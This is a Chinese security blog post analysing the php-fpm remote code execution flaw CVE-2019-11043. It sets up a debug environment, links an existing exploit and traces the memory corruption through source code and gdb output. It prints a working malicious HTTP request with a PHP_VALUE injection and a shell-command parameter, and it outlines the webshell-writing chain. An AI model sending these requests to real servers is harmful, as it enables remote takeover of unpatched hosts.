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php-fpm Remote Code Execution 分析(CVE-2019-11043)

ChaMd5安全团队

发布于 2019-11-01 00:51:29

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文章被收录于专栏：ChaMd5安全团队ChaMd5安全团队

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代码可运行

漏洞简介

国外安全研究员 Andrew Danau发现向服务器请求的URL中包含%0a 符号时，服务返回异常，疑似存在漏洞。

Nginx+php-fpm的环境中，若Nginx上的fastcgi_split_path_info指令配置不当，在处理带包含%0a的URL时会导致正则匹配失效从而PATH_INFO的结果为空。

当Nginx将包含PATH_INFO为空的fastcgi传递给后端php-fpm时，php-fpm接受处理的过程存在逻辑问题，通过精心构造恶意请求可以对php-fpm进行内存污染，进一步可以复写内存并修改php-fpm配置，实现远程代码执行。

复现环境

自己搭建的方便调试，推荐

PHP

安装调试工具gdb

apt install gdb

下载php源码：

wget https://www.php.net/distributions/php-7.1.0.tar.gz

然后对./configure 的配置如下

./configure  --prefix=/root/php7.1.0 --enable-phpdbg-debug --enable-debug --enable-fpm CFLAGS="-g3 -gdwarf-4"

这里只安装必要的debug模块+fpm模块，其他模块视需求安装。

CFLAGS="-g3 -gdwarf-4"是对编译参数进行额外配置，关闭所有的编译优化机制，产生 gdb所必要的符号信息（符号表），并设置dwarf调试信息格式。PHP内核中定义了很多宏，gdb调试中可以通过macro expand xxxx命令比较方便的展开宏。

编译安装php

make && make install

bin目录下包含常用的php命令行解释器

sbin目录下包含fpm，还需要运行的配置文件。

指定fpm的配置文件，从编译后的目录复制php-fpm.conf.default并重命名为php-fpm.conf
指定php的配置文件，从源码目录中复制php.ini-development并重命名为php.ini

自行配置php.ini,这里主要配置php-fpm.conf

php-fpm为多进程模型，一个master进程，多个worker进程。

master进程负责管理调度，worker进程负责处理客户端(nginx)的请求。

master进程对work进程管理一共有三种模式：

ondemand，按需模式，当有请求时才会启动worker
static，静态模式，启动采用固定大小数量的worker
dynamic，动态模式，初始化一些worker，运行过程中动态调整worker数量

让fpm的工作模式为static，并且work进程只有一个，方便进行调试，设置配置文件如下：

pm = static
; The number of child processes to be created when pm is set to 'static' and the; maximum number of child processes when pm is set to 'dynamic' or 'ondemand'.; This value sets the limit on the number of simultaneous requests that will be; served. Equivalent to the ApacheMaxClients directive with mpm_prefork.; Equivalent to the PHP_FCGI_CHILDREN environment variable in the original PHP; CGI. The below defaults are based on a server without much resources. Don't; forget to tweak pm.* to fit your needs.; Note: Used when pm is set to 'static', 'dynamic' or 'ondemand'; Note: This value is mandatory.pm.max_children = 1
; The number of child processes created on startup.; Note: Used only when pm is set to 'dynamic'; Default Value: min_spare_servers + (max_spare_servers - min_spare_servers) / 2pm.start_servers = 1
; The desired minimum number of idle server processes.; Note: Used only when pm is set to 'dynamic'; Note: Mandatory when pm is set to 'dynamic'pm.min_spare_servers = 1
; The desired maximum number of idle server processes.; Note: Used only when pm is set to 'dynamic'; Note: Mandatory when pm is set to 'dynamic'pm.max_spare_servers = 1

运行fpm

./php-fpm -c php.ini -y php-fpm.conf

ps可以发现work进程如期只启动一个：

Nginx

apt就行，比较关键的配置文件

    location ~ [^/]\.php(/|$) {        fastcgi_split_path_info ^(.+?\.php)(/.*)$;        include fastcgi_params;
        fastcgi_param PATH_INFO       $fastcgi_path_info;        fastcgi_index index.php;        fastcgi_param  REDIRECT_STATUS    200;        fastcgi_param  SCRIPT_FILENAME /var/www/html$fastcgi_script_name;        fastcgi_param  DOCUMENT_ROOT /var/www/html;        fastcgi_pass 127.0.0.1:9000;    }

EXP

go get -v && go build

要是嫌麻烦也可以直接草P老板作业，很方便

https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043

内核分析

攻击思路

因为不会go语言，因此没有研究exp，通过Wireshark抓包可以发现关键的攻击数据包如下：

分析http请求，实现远程代码执行的方法很容易猜测和理解：

通过PATH_INFO为空的fastcgi多次修改php-fpm的ini配置选项，设置error_log的地址为/tmp/a，并将一句话木马写入，然后设置include_path等，再通过auto_prepend_file包含完成远程代码执行。

修改php-fpm的ini就是漏洞的关键，选一条靠后的成型的http请求进行测试和验证：

GET /test.php/PHP_VALUE%0Aerror_reporting=9;;;;;;?a=/bin/sh+-c+'which+which'&QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ HTTP/1.1Host: 172.16.231.158User-Agent: Mozilla/5.0D-Pisos: 8========================================================================DEbut: mamku tvoyu

使用phpinfo查看结果，error_reporting已经被修改。

fpm中从fastcgi中解析处理ini的源码位置如下

sapi/fpm/fpm/fpm_main.c

通过FCGI_GETENV获取request中存储在PHP_VALUE中的ini配置，然后通过zend_parse_ini_string将配置应用ini。

发送恶意http请求，使用GDB动态跟踪，发现request已经被污染，会解析恶意ini。

这里获取服务器权限的方式和php-fpm未授权访问的方式相似，都是fastcgi中的PHP_VALUE修改php-fpm的ini，但是php-fpm未授权访问是发送包含PHP_VALUE的fastcgi请求，而本漏洞则是fpm处理恶意fastcgi请求逻辑错误导致被覆盖为PHP_VALUE。

fcgi_accept_request

下面从头分析修改的error_reporting的http请求

main/fastcgi.c

fcgi_accept_request函数中通过accept函数接受来自客户端的socket连接，并赋给req->fd。

然后通过fcgi_read_request读取解析整个fastcgi请求，存储在req

通过外层while循环，不停地调用fcgi_accept_request函数，接受连接并读取请求。

equest变量包含fastcgi请求的信息，结构如下

pwndbg> p * request$4 = {  listen_socket = 0,  tcp = 0,  fd = 3,  id = 1,  keep = 0,  nodelay = 0,  closed = 0,  in_len = 0,  in_pad = 0,  out_hdr = 0x0,  out_pos = 0x56305ff048d8 "\001\006",  out_buf = "\001\006\000\001\000H\000\000X-Powered-By: PHP/7.1.0\r\nContent-type: text/html; charset=UTF-8\r\n\r\nHello\001\003\000\001\000\b", '\000' <repeats 8105 times>,  reserved = '\000' <repeats 15 times>,  hook = {    on_accept = 0x56305ebef54a <fpm_request_accepting>,    on_read = 0x56305ebef624 <fpm_request_reading_headers>,    on_close = 0x56305ebefc43 <fpm_request_finished>  },  has_env = 1,  env = {    hash_table = {0x0, 0x56305ff08600, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff087b0, 0x56305ff08a50, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff086f0, 0x0, 0x0, 0x0, 0x56305ff089c0, 0x0, 0x0, 0x0, 0x56305ff08840, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff08780, 0x0, 0x56305ff08720, 0x56305ff08750, 0x0 <repeats 18 times>, 0x56305ff088a0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff086c0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff08990, 0x56305ff087e0, 0x56305ff08930, 0x0, 0x56305ff089f0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff08960, 0x56305ff08630, 0x0, 0x0, 0x56305ff08900, 0x0 <repeats 14 times>, 0x56305ff08660, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff08a80, 0x0, 0x56305ff088d0, 0x0, 0x0, 0x0, 0x0, 0x56305ff08690, 0x0 <repeats 14 times>, 0x56305ff08a20},    list = 0x56305ff08a80,    buckets = 0x56305ff085f0,    data = 0x56305ff09e10  }}

同时request存到全局变量，SG(server_context)中，宏定义如下：

# define SG(v) (sapi_globals.v)extern SAPI_API sapi_globals_struct sapi_globals;

init_request_info

进入init_request_info函数：

首先从SG(server_context)中取出request，然后通过FCGI_GETENV从request更多的fastcgi请求的信息。

FCGI_GETENV宏如下

调用fcgi_quick_getenv函数，其中FCGI_HASH_FUNC则是根据信息名称计算hash

继续调用fcgi_hash_get函数，此时传入了重要的&req->env

通过hash_value & FCGI_HASH_TABLE_MASK与运算的到索引idx，FCGI_HASH_TABLE_MASK宏如下

然后通过h->hash_table[idx]的元素指针，也就是request->env->hash_table取出信息，体结构如下

pwndbg> p request.env.hash_table$5 = {0x0, 0x56305ff08600, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff087b0, 0x56305ff08a50, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff086f0, 0x0, 0x0, 0x0, 0x56305ff089c0, 0x0, 0x0, 0x0, 0x56305ff08840, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff08780, 0x0, 0x56305ff08720, 0x56305ff08750, 0x0 <repeats 18 times>, 0x56305ff088a0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff086c0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff08990, 0x56305ff087e0, 0x56305ff08930, 0x0, 0x56305ff089f0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff08960, 0x56305ff08630, 0x0, 0x0, 0x56305ff08900, 0x0 <repeats 14 times>, 0x56305ff08660, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x56305ff08a80, 0x0, 0x56305ff088d0, 0x0, 0x0, 0x0, 0x0, 0x56305ff08690, 0x0 <repeats 14 times>, 0x56305ff08a20}pwndbg> p request.env.hash_table[1]$6 = (fcgi_hash_bucket *) 0x56305ff08600pwndbg> p * request.env.hash_table[1]$7 = {  hash_value = 1793,  var_len = 9,  var = 0x56305ff06d48 "FCGI_ROLE",  val_len = 9,  val = 0x56305ff06d52 "RESPONDER",  next = 0x0,  list_next = 0x0}

这里有比较关键的char *env_path_info = FCGI_GETENV(request, "PATH_INFO");

env_path_info为指针，不为空，指向的值为空。

pwndbg> p  env_path_info$8 = 0x56305ff09e32 ""

继续跟进到重要的path_info变量部分

path_info = env_path_info + pilen - slen ，跟踪每个涉及的变量

env_path_info指向空字符串，所以pilen为0。

slen的计算稍微复杂一些，计算的是xxx.php到?之间内容的相差部分/PHP_VALUE%0Aerror_reporting=9;;;;;;的长度

env_script_filename = FCGI_GETENV(request, "SCRIPT_FILENAME");script_path_translated = env_script_filename;script_path_translated_len = strlen(script_path_translated);
pt = estrndup(script_path_translated, script_path_translated_len);
len = script_path_translated_len;slen = len - ptlen;

具体信息如下，slen的长度为34，此时path_info的值是env_path_info的指针向前偏移34位。

两个字符串相差的内容和长度可以任意构造，path_info指针根据偏移的到，因此path_info指向的位置也是可控。

内存覆盖

path_info[0] = 0;if (!orig_script_name ||    strcmp(orig_script_name, env_path_info) != 0) {  if (orig_script_name) {    FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);  }

path_info指向的前两个字节被改为00，然后使用FCGI_PUTENV完成对request对象的污染。

待写入的orig_script_name的值为/test.php/PHP_VALUE\nerror_reporting=9;;;;;;

更改前：

更改后：

这里还需要关注request.env.data.pos变化，slen的长度为34，是为了让path_info指向request.env.data.pos，能够修改最低字节为00。

该变量具体作用跟进FCGI_PUTENV即可一目了然。

调用fcgiquickputenv函数，参数相比fcgiquickgetenv多了value，其余参数计算相同。

将request.env等参数传递给fcgihashset，计算idx并得到地址p

接着调用fcgi_hash_strndup函数，根据request.env.data.pos的值确定/test.php/PHP_VALUE\nerror_reporting=9;;;;;;的写入位置

写入的区域是根据request.env.data.data作为起始，再根据写入长度数据重新设置request.env.data.pos的值确定下次写入位置。

memcpy写入前：

memcpy写入后：

ini

继续跟进到已经提过的ini获取部分，发现根据PHP_VALUE字符串得到的索引为105。

在内存污染前查看该部分，发现已经通过payload占位。

污染后已经变为恶意ini。

总结

通过精心构造url、参数、header，使得path_info首先指向&request.env.data.pos附近，再利用slen进一步精准指向&request.env.data.pos，通过path_info[0]修改request.env.data.pos，使得FCGI_PUTENV写入特定位置，污染为PHP_VALUE，修改fpm的ini。

写的比较仓促，如有错误欢迎指正。